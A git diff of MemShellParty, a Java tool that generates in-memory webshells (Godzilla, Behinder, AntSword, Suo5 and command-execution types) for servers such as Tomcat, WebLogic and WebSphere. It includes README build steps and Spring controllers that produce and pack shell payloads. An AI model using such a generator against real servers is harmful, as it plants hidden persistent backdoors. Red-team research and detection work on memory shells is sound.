| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
### 封装方式
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB 和 CC 链)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||
- [ ] JNDI
|
||||
- [ ] JDBC 连接
|
||||
- [ ] 其他常见反序列化
|
||||
|
||||
## 本地构建
|
||||
|
||||
### 源代码构建
|
||||
|
||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||
|
||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||
|
||||
1. 使用 Git Clone 项目
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ReaJason/MemShellParty.git
|
||||
```
|
||||
|
||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/web
|
||||
|
||||
bun install
|
||||
|
||||
bun run build
|
||||
```
|
||||
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
docker buildx build -t memshell-party:latest . --load
|
||||
|
||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
```
|
||||
|
||||
### Dockerfile 一键构建
|
||||
|
||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
|
||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
```bash
|
||||
# 基础构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 基础镜像启动,访问 127.0.0.1:8080
|
||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# 自定义访问路径构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||
docker run -it -p 8080:8080 \
|
||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||
memshell-party:latest
|
||||
```
|
||||
|
||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||
|
||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||
|
||||
```text
|
||||
location /memshell-party {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_http_version 1.1;
|
||||
proxy_connect_timeout 3s;
|
||||
proxy_read_timeout 300s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_buffer_size 16k;
|
||||
proxy_buffers 8 64k;
|
||||
proxy_busy_buffers_size 128k;
|
||||
}
|
||||
```
|
||||
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||
|
||||
## Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||
|
||||
### Let's start the party 🎉
|
||||
|
||||
|
After Width: | Height: | Size: 130 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||
RUN pip install requests
|
||||
|
||||
COPY neoreg.py .
|
||||
|
||||
|
After Width: | Height: | Size: 265 KiB |
|
Before Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB |
@@ -1,35 +0,0 @@
|
||||
import http.server
|
||||
import socketserver
|
||||
|
||||
PORT = 8000
|
||||
TARGET_PATH = "/api/v1/data"
|
||||
|
||||
|
||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path == TARGET_PATH:
|
||||
try:
|
||||
content_length = int(self.headers['Content-Length'])
|
||||
post_data_bytes = self.rfile.read(content_length)
|
||||
post_data_str = post_data_bytes.decode('utf-8')
|
||||
print("-----------------------------\n")
|
||||
print(f"Client IP: {self.client_address}")
|
||||
print(f"Request Header:\n{self.headers}")
|
||||
print(f"Request Body:\n{post_data_str}")
|
||||
print("-----------------------------\n")
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type', 'application/json')
|
||||
self.end_headers()
|
||||
response_message = '{"status": "success"}'
|
||||
self.wfile.write(response_message.encode('utf-8'))
|
||||
except Exception as e:
|
||||
print(f"Parse POST failed: {e}")
|
||||
self.send_response(500)
|
||||
else:
|
||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||
self.send_response(404)
|
||||
|
||||
|
||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||
httpd.serve_forever()
|
||||
@@ -1,16 +0,0 @@
|
||||
import http from 'k6/http';
|
||||
import {check, sleep} from 'k6';
|
||||
|
||||
export const options = {
|
||||
rps: 4500,
|
||||
vus: 10,
|
||||
duration: '5m',
|
||||
};
|
||||
|
||||
export default function () {
|
||||
const res = http.get('http://localhost:8082/app/test');
|
||||
check(res, {
|
||||
'status is 200': (r) => r.status === 200,
|
||||
});
|
||||
sleep(1);
|
||||
}
|
||||
|
Before Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "3.5.8"
|
||||
id("org.springframework.boot") version "3.5.0"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
@@ -21,21 +21,20 @@ configurations {
|
||||
}
|
||||
}
|
||||
|
||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation(project(":packer")) {
|
||||
implementation(project(":deserialize")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||
}
|
||||
implementation(libs.commons.lang3)
|
||||
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||
implementation("org.apache.commons:commons-lang3:3.17.0")
|
||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||
compileOnly("org.projectlombok:lombok")
|
||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
package com.reajason.javaweb.boot;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@@ -13,5 +16,8 @@ public class BootApplication {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(BootApplication.class, args);
|
||||
Server[] values = Server.values();
|
||||
log.info("Supported servers: {}", Arrays.toString(values));
|
||||
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
|
||||
}
|
||||
}
|
||||
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.boot.api;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -16,23 +13,10 @@ import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||
@RestControllerAdvice
|
||||
@Slf4j
|
||||
public class GlobalExceptionHandler {
|
||||
|
||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||
@ExceptionHandler(NoResourceFoundException.class)
|
||||
public ResponseEntity<?> handleNoResourceException() {
|
||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(GenerationException.class)
|
||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(Throwable.class)
|
||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||
log.error("Internal Exception", throwable);
|
||||
log.error("请求出错", throwable);
|
||||
return new ErrorResponse(throwable.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.springframework.asm.ClassReader;
|
||||
import org.springframework.cglib.core.ClassNameReader;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
@RestController
|
||||
@CrossOrigin("*")
|
||||
public class ClassNameParseController {
|
||||
|
||||
@PostMapping("/api/className")
|
||||
public String className(@RequestBody String classBase64) {
|
||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@@ -17,18 +18,18 @@ import java.util.*;
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/config")
|
||||
@RequestMapping("/config")
|
||||
@CrossOrigin("*")
|
||||
public class ConfigController {
|
||||
|
||||
@RequestMapping("/servers")
|
||||
public Map<String, List<String>> getServers() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||
.getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||
for (Server server : Server.values()) {
|
||||
if (server.getShell() != null) {
|
||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
||||
}
|
||||
}
|
||||
return servers;
|
||||
}
|
||||
@@ -43,18 +44,20 @@ public class ConfigController {
|
||||
@RequestMapping
|
||||
public Map<String, Map<?, ?>> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
for (Server value : Server.values()) {
|
||||
AbstractShell shell = value.getShell();
|
||||
if (shell == null) {
|
||||
continue;
|
||||
}
|
||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||
for (String shellTool : server.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||
if (supportedShellTypes.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
map.put(shellTool, supportedShellTypes);
|
||||
map.put(shellTool.name(), supportedShellTypes);
|
||||
}
|
||||
coreMap.put(supportedServer, map);
|
||||
coreMap.put(value.name(), map);
|
||||
}
|
||||
return coreMap;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/generate")
|
||||
@CrossOrigin("*")
|
||||
public class GeneratorController {
|
||||
@PostMapping
|
||||
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
||||
} else {
|
||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/memshell/generate")
|
||||
@CrossOrigin("*")
|
||||
public class MemShellGeneratorController {
|
||||
@PostMapping
|
||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
if (packer instanceof JarPacker) {
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||
}
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/probe/generate")
|
||||
@CrossOrigin("*")
|
||||
public class ProbeShellGeneratorController {
|
||||
@PostMapping
|
||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||
ProbeConfig probeConfig = request.getProbeConfig();
|
||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
||||
*/
|
||||
@RestController
|
||||
@CrossOrigin("*")
|
||||
@RequestMapping("/api/version")
|
||||
@RequestMapping("/version")
|
||||
public class VersionController {
|
||||
|
||||
@Value("${spring.application.version}")
|
||||
|
||||
@@ -1,70 +1,16 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
@Controller
|
||||
@Slf4j
|
||||
public class ViewController {
|
||||
@GetMapping("/")
|
||||
public String index(){
|
||||
return "redirect:/ui";
|
||||
}
|
||||
|
||||
@GetMapping({"/api/search", "/api/search.data"})
|
||||
@ResponseBody
|
||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
String relativePath = fullPath.substring(1);
|
||||
return renderFileData(relativePath, response);
|
||||
}
|
||||
|
||||
@GetMapping("/ui/**")
|
||||
@SneakyThrows
|
||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||
return "index";
|
||||
}
|
||||
String docPath = fullPath.substring(4);
|
||||
if (docPath.endsWith(".data")) {
|
||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||
}
|
||||
return docPath + "/index";
|
||||
}
|
||||
|
||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||
try {
|
||||
String templatePath = "templates/" + relativePath;
|
||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||
if (!resource.exists()) {
|
||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||
return "File not found: " + relativePath;
|
||||
}
|
||||
InputStreamReader reader = new InputStreamReader(
|
||||
resource.getInputStream(),
|
||||
StandardCharsets.UTF_8
|
||||
);
|
||||
return FileCopyUtils.copyToString(reader);
|
||||
} catch (IOException e) {
|
||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||
return "Error reading file: " + e.getMessage();
|
||||
}
|
||||
return "index";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,29 +1,28 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.Data;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
public class MemShellGenerateRequest {
|
||||
public class GenerateRequest {
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfigDTO shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
public static class ShellToolConfigDTO {
|
||||
static class ShellToolConfigDTO {
|
||||
private String shellClassName;
|
||||
private String godzillaPass;
|
||||
private String godzillaKey;
|
||||
private String commandParamName;
|
||||
private String commandTemplate;
|
||||
private String behinderPass;
|
||||
private String antSwordPass;
|
||||
private String headerName;
|
||||
@@ -37,50 +36,43 @@ public class MemShellGenerateRequest {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> GodzillaConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getGodzillaPass())
|
||||
.key(shellToolConfig.getGodzillaKey())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.build();
|
||||
case Behinder -> BehinderConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getBehinderPass())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.build();
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.template(shellToolConfig.getCommandTemplate())
|
||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
